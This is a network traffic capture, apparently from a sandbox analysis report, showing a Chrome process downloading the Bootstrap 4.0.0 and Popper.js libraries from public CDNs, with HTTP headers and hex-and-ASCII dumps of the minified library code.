2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 73 2e 6f 70 74 69 6f 6e 73 2e 72 65 6d 6f 76 65 4f 6e 44 65 73 74 72 6f 79 26 26 74 68 69 73 2e 70 6f 70 70 65 72 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 72 65 6d 6f 76 65 43 68 69 6c 64 28 74 68 69 73 2e 70 6f 70 70 65 72 29 2c 74 68 69 73 7d 66 75 6e 63 74 69 6f 6e 20 42 28 65 29 7b 76 61 72 20 74 3d 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 72 65 74 75 72 6e 20 74 3f 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 77 69 6e 64 6f 77 7d 66 75 6e 63 74 69 6f 6e 20 48 28 65 2c 74 2c 6f 2c 69 29 7b 76 61 72 20 72 3d 27 42 4f 44 59 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 2c 70 3d 72 3f 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 64 65 66 61 75 6c 74 56 69 65 77 3a 65 3b 70 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 74 2c 6f 2c 7b 70 61 73 73 69 Data Ascii: s.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}function B(e){var t=e.ownerDocument;return t?t.defaultView:window}function H(e,t,o,i){var r='BODY'===e.nodeName,p=r?e.ownerDocument.defaultView:e;p.addEventListener(t,o,{passi
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 72 6e 20 6f 3d 3d 3d 74 7d 29 2c 6e 3d 21 21 69 26 26 65 2e 73 6f 6d 65 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 2e 6e 61 6d 65 3d 3d 3d 6f 26 26 65 2e 65 6e 61 62 6c 65 64 26 26 65 2e 6f 72 64 65 72 3c 69 2e 6f 72 64 65 72 7d 29 3b 69 66 28 21 6e 29 7b 76 61 72 20 72 3d 27 60 27 2b 74 2b 27 60 27 3b 63 6f 6e 73 6f 6c 65 2e 77 61 72 6e 28 27 60 27 2b 6f 2b 27 60 27 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 73 20 72 65 71 75 69 72 65 64 20 62 79 20 27 2b 72 2b 27 20 6d 6f 64 69 66 69 65 72 20 69 6e 20 6f 72 64 65 72 20 74 6f 20 77 6f 72 6b 2c 20 62 65 20 73 75 72 65 20 74 6f 20 69 6e 63 6c 75 64 65 20 69 74 20 62 65 66 6f 72 65 20 27 2b 72 2b 27 21 27 29 7d 72 65 74 75 72 6e 20 6e 7d 66 75 6e 63 74 69 6f 6e 20 4b 28 65 29 7b 72 65 74 75 Data Ascii: rn o===t}),n=!!i&&e.some(function(e){return e.name===o&&e.enabled&&e.order<i.order});if(!n){var r='`'+t+'`';console.warn('`'+o+'`'+' modifier is required by '+r+' modifier in order to work, be sure to include it before '+r+'!')}return n}function K(e){retu
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 72 6e 27 27 3d 3d 3d 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 26 26 2d 31 21 3d 3d 5b 27 2b 27 2c 27 2d 27 5d 2e 69 6e 64 65 78 4f 66 28 74 29 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 3d 74 2c 70 3d 21 30 2c 65 29 3a 70 3f 28 65 5b 65 2e 6c 65 6e 67 74 68 2d 31 5d 2b 3d 74 2c 70 3d 21 31 2c 65 29 3a 65 2e 63 6f 6e 63 61 74 28 74 29 7d 2c 5b 5d 29 2e 6d 61 70 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 56 28 65 2c 6e 2c 74 2c 6f 29 7d 29 7d 29 2c 61 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 65 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 69 29 7b 55 28 6f 29 26 26 28 6e 5b 74 5d 2b 3d 6f 2a 28 27 2d 27 3d 3d 3d 65 5b 69 2d 31 5d 3f 2d 31 3a 31 29 29 7d 29 7d 29 2c 6e 7d 66 75 6e 63 74 69 6f 6e 20 Data Ascii: rn''===e[e.length-1]&&-1!==['+','-'].indexOf(t)?(e[e.length-1]=t,p=!0,e):p?(e[e.length-1]+=t,p=!1,e):e.concat(t)},[]).map(function(e){return V(e,n,t,o)})}),a.forEach(function(e,t){e.forEach(function(o,i){U(o)&&(n[t]+=o*('-'===e[i-1]?-1:1))})}),n}function
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 72 6e 20 6f 26 26 65 28 74 2e 70 72 6f 74 6f 74 79 70 65 2c 6f 29 2c 69 26 26 65 28 74 2c 69 29 2c 74 7d 7d 28 29 2c 70 65 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 72 65 74 75 72 6e 20 74 20 69 6e 20 65 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 65 2c 74 2c 7b 76 61 6c 75 65 3a 6f 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 7d 29 3a 65 5b 74 5d 3d 6f 2c 65 7d 2c 73 65 3d 4f 62 6a 65 63 74 2e 61 73 73 69 67 6e 7c 7c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 66 6f 72 28 76 61 72 20 69 20 69 6e 20 74 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d Data Ascii: rn o&&e(t.prototype,o),i&&e(t,i),t}}(),pe=function(e,t,o){return t in e?Object.defineProperty(e,t,{value:o,enumerable:!0,configurable:!0,writable:!0}):e[t]=o,e},se=Object.assign\|\|function(e){for(var t,o=1;o<arguments.length;o++)for(var i in t=arguments[o]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49721	104.18.10.207	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:20 UTC	382	OUT	GET /bootstrap/4.0.0/js/bootstrap.min.js HTTP/1.1 Host: maxcdn.bootstrapcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:20 UTC	947	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:20 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: US Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"14d449eb8876fa55e1ef3c2cc52b0c17" Last-Modified: Mon, 25 Jan 2021 22:04:04 GMT CDN-ProxyVer: 1.04 CDN-RequestPullSuccess: True CDN-RequestPullCode: 200 CDN-CachedAt: 01/15/2024 23:55:45 CDN-EdgeStorageId: 845 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: 1b67fa50f8ffc843a15d702643eb706f CDN-Cache: HIT CF-Cache-Status: HIT Age: 14506520 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba4878b6a6b1825-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:08:20 UTC	422	IN	Data Raw: 37 63 30 30 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 30 2e 30 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 74 Data Ascii: 7c00/! Bootstrap v4.0.0 (https://getbootstrap.com) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(t
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 2c 69 Data Ascii: ery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 69 67 67 65 72 28 65 2e 65 6e 64 29 7d 2c 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 42 6f 6f 6c 65 61 6e 28 65 29 7d 2c 69 73 45 6c 65 6d 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 28 74 5b 30 5d 7c 7c 74 29 2e 6e 6f 64 65 54 79 70 65 7d 2c 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6e 29 7b 66 6f 72 28 76 61 72 20 73 20 69 6e 20 6e 29 69 66 28 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 6e 2c 73 29 29 7b 76 61 72 20 72 3d 6e 5b 73 5d 2c 6f 3d 65 5b 73 5d 2c 61 3d 6f 26 26 69 2e 69 73 45 6c 65 6d 65 6e 74 28 6f 29 3f 22 65 6c 65 6d 65 6e 74 22 3a Data Ascii: igger(e.end)},supportsTransitionEnd:function(){return Boolean(e)},isElement:function(t){return(t[0]\|\|t).nodeType},typeCheckConfig:function(t,e,n){for(var s in n)if(Object.prototype.hasOwnProperty.call(n,s)){var r=n[s],o=e[s],a=o&&i.isElement(o)?"element":
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 3b 72 65 74 75 72 6e 20 6f 28 74 29 2e 74 72 69 67 67 65 72 28 65 29 2c 65 7d 2c 65 2e 5f 72 65 6d 6f 76 65 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 6f 28 74 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 5f 29 2c 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 6f 28 74 29 2e 68 61 73 43 6c 61 73 73 28 64 29 3f 6f 28 74 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 65 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 2c 6e 29 7d 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 31 35 30 29 3a 74 68 69 73 2e 5f 64 65 73 74 72 6f 79 45 6c 65 6d 65 6e 74 28 74 29 7d 2c 65 2e 5f Data Ascii: ;return o(t).trigger(e),e},e._removeElement=function(t){var e=this;o(t).removeClass(_),P.supportsTransitionEnd()&&o(t).hasClass(d)?o(t).one(P.TRANSITION_END,function(n){return e._destroyElement(t,n)}).emulateTransitionEnd(150):this._destroyElement(t)},e._
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 29 7d 69 66 28 74 29 7b 69 66 28 69 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 68 61 73 41 74 74 72 69 62 75 74 65 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 69 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 7c 7c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 64 69 73 61 62 6c 65 64 22 29 29 72 65 74 75 72 6e 3b 69 2e 63 68 65 63 6b 65 64 3d 21 70 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 43 29 2c 70 28 69 29 2e 74 72 69 67 67 65 72 28 22 63 68 61 6e 67 65 22 29 7d 69 2e 66 6f 63 75 73 28 29 2c 65 3d 21 31 7d 7d 65 26 26 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 61 72 69 61 Data Ascii: )}if(t){if(i.hasAttribute("disabled")\|\|n.hasAttribute("disabled")\|\|i.classList.contains("disabled")\|\|n.classList.contains("disabled"))return;i.checked=!p(this._element).hasClass(C),p(i).trigger("change")}i.focus(),e=!1}}e&&this._element.setAttribute("aria
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 4c 45 41 56 45 3a 22 6d 6f 75 73 65 6c 65 61 76 65 22 2b 69 2c 54 4f 55 43 48 45 4e 44 3a 22 74 6f 75 63 68 65 6e 64 22 2b 69 2c 4c 4f 41 44 5f 44 41 54 41 5f 41 50 49 3a 22 6c 6f 61 64 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 69 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 5f 3d 22 63 61 72 6f 75 73 65 6c 22 2c 67 3d 22 61 63 74 69 76 65 22 2c 70 3d 22 73 6c 69 64 65 22 2c 6d 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 72 69 67 68 74 22 2c 76 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6c 65 66 74 22 2c 45 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 6e 65 78 74 22 2c 54 3d 22 63 61 72 6f 75 73 65 6c 2d 69 74 65 6d 2d 70 72 65 76 22 2c 79 3d 7b 41 43 54 49 56 45 3a 22 2e Data Ascii: LEAVE:"mouseleave"+i,TOUCHEND:"touchend"+i,LOAD_DATA_API:"load"+i+".data-api",CLICK_DATA_API:"click"+i+".data-api"},_="carousel",g="active",p="slide",m="carousel-item-right",v="carousel-item-left",E="carousel-item-next",T="carousel-item-prev",y={ACTIVE:".
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 75 6c 6c 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 26 26 21 74 68 69 73 2e 5f 69 73 50 61 75 73 65 64 26 26 28 74 68 69 73 2e 5f 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 72 76 61 6c 28 28 64 6f 63 75 6d 65 6e 74 2e 76 69 73 69 62 69 6c 69 74 79 53 74 61 74 65 3f 74 68 69 73 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3a 74 68 69 73 2e 6e 65 78 74 29 2e 62 69 6e 64 28 74 68 69 73 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 69 6e 74 65 72 76 61 6c 29 29 7d 2c 43 2e 74 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 6e 3d 74 68 69 73 3b 74 68 69 73 2e 5f 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 3d 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 66 69 6e 64 28 79 2e 41 43 54 49 56 45 5f 49 54 45 4d 29 5b 30 5d 3b Data Ascii: ull),this._config.interval&&!this._isPaused&&(this._interval=setInterval((document.visibilityState?this.nextWhenVisible:this.next).bind(this),this._config.interval))},C.to=function(e){var n=this;this._activeElement=t(this._element).find(y.ACTIVE_ITEM)[0];
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b 63 61 73 65 20 33 37 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 70 72 65 76 28 29 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 2c 74 68 69 73 2e 6e 65 78 74 28 29 7d 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 5f 69 74 65 6d 73 3d 74 2e 6d 61 6b 65 41 72 72 61 79 28 74 28 65 29 2e 70 61 72 65 6e 74 28 29 2e 66 69 6e 64 28 79 2e 49 54 45 4d 29 29 2c 74 68 69 73 2e 5f 69 74 65 6d 73 2e 69 6e 64 65 78 4f 66 28 65 29 7d 2c 43 2e 5f 67 65 74 49 74 65 6d 42 79 44 69 72 65 63 74 Data Ascii: .test(t.target.tagName))switch(t.which){case 37:t.preventDefault(),this.prev();break;case 39:t.preventDefault(),this.next()}},C._getItemIndex=function(e){return this._items=t.makeArray(t(e).parent().find(y.ITEM)),this._items.indexOf(e)},C._getItemByDirect
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 72 67 65 74 3a 63 2c 64 69 72 65 63 74 69 6f 6e 3a 72 2c 66 72 6f 6d 3a 6c 2c 74 6f 3a 5f 7d 29 3b 50 2e 73 75 70 70 6f 72 74 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 29 26 26 74 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 68 61 73 43 6c 61 73 73 28 70 29 3f 28 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 73 29 2c 50 2e 72 65 66 6c 6f 77 28 63 29 2c 74 28 61 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 63 29 2e 61 64 64 43 6c 61 73 73 28 69 29 2c 74 28 61 29 2e 6f 6e 65 28 50 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 74 28 63 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 69 2b 22 20 22 2b 73 29 2e 61 64 64 43 6c 61 73 73 28 67 29 2c 74 28 61 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 67 2b 22 20 22 2b 73 2b 22 20 Data Ascii: rget:c,direction:r,from:l,to:_});P.supportsTransitionEnd()&&t(this._element).hasClass(p)?(t(c).addClass(s),P.reflow(c),t(a).addClass(i),t(c).addClass(i),t(a).one(P.TRANSITION_END,function(){t(c).removeClass(i+" "+s).addClass(g),t(a).removeClass(g+" "+s+"
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 7b 74 28 79 2e 44 41 54 41 5f 52 49 44 45 29 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 28 74 68 69 73 29 3b 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 65 2c 65 2e 64 61 74 61 28 29 29 7d 29 7d 29 2c 74 2e 66 6e 5b 65 5d 3d 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 74 2e 66 6e 5b 65 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 43 2c 74 2e 66 6e 5b 65 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 2e 66 6e 5b 65 5d 3d 6f 2c 43 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 43 7d 28 65 29 2c 48 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 22 63 6f 6c 6c 61 70 73 65 22 2c 6e 3d 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c Data Ascii: {t(y.DATA_RIDE).each(function(){var e=t(this);C._jQueryInterface.call(e,e.data())})}),t.fn[e]=C._jQueryInterface,t.fn[e].Constructor=C,t.fn[e].noConflict=function(){return t.fn[e]=o,C._jQueryInterface},C}(e),H=function(t){var e="collapse",n="bs.collapse",

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49719	104.17.25.14	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:20 UTC	388	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:20 UTC	959	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:20 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"5eb03fa9-4af4" Last-Modified: Mon, 04 May 2020 16:15:37 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1291503 Expires: Mon, 18 Aug 2025 13:08:20 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5iWlK2VIJHpcIzgIOZiBg5Kul%2FOGhfZMbBbPL7hZfrPZHZqLGQrzVQNf39FWrR%2BhtOin1HqKgvArJuxy6wfuNzIMNZCrl5B98SH%2B6k2EaTgWUuf01dbS6M9Rcpj5BJ21C4ymUzsn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8ba4878b5cd27d08-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:08:20 UTC	410	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 65 2e 6e 6f 64 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 Data Ascii: e.nodeType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return e.ownerDocument.body;case'#document'
2024-08-28 13:08:20 UTC	1369	IN	Data Raw: 76 61 72 20 6f 3d 32 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 26 26 76 6f 69 64 20 30 21 3d 3d 61 72 67 75 6d 65 6e 74 73 5b 32 5d 26 26 61 72 67 75 6d 65 6e 74 73 5b 32 5d 2c 69 3d 61 28 74 2c 27 74 6f 70 27 29 2c 6e 3d 61 28 74 2c 27 6c 65 66 74 27 29 2c 72 3d 6f 3f 2d 31 3a 31 3b 72 65 74 75 72 6e 20 65 2e 74 6f 70 2b 3d 69 2a 72 2c 65 2e 62 6f 74 74 6f 6d 2b 3d 69 2a 72 2c 65 2e 6c 65 66 74 2b 3d 6e 2a 72 2c 65 2e 72 69 67 68 74 2b 3d 6e 2a 72 2c 65 7d 66 75 6e 63 74 69 6f 6e 20 66 28 65 2c 74 29 7b 76 61 72 20 6f 3d 27 78 27 3d 3d 3d 74 3f 27 4c 65 66 74 27 3a 27 54 6f 70 27 2c 69 3d 27 4c 65 66 74 27 3d 3d 6f 3f 27 52 69 67 68 74 27 3a 27 42 6f 74 74 6f 6d 27 3b 72 65 74 75 72 6e 20 70 61 72 73 65 46 6c 6f 61 74 28 65 5b 27 62 6f 72 64 65 Data Ascii: var o=2<arguments.length&&void 0!==arguments[2]&&arguments[2],i=a(t,'top'),n=a(t,'left'),r=o?-1:1;return e.top+=ir,e.bottom+=ir,e.left+=nr,e.right+=nr,e}function f(e,t){var o='x'===t?'Left':'Top',i='Left'==o?'Right':'Bottom';return parseFloat(e['borde
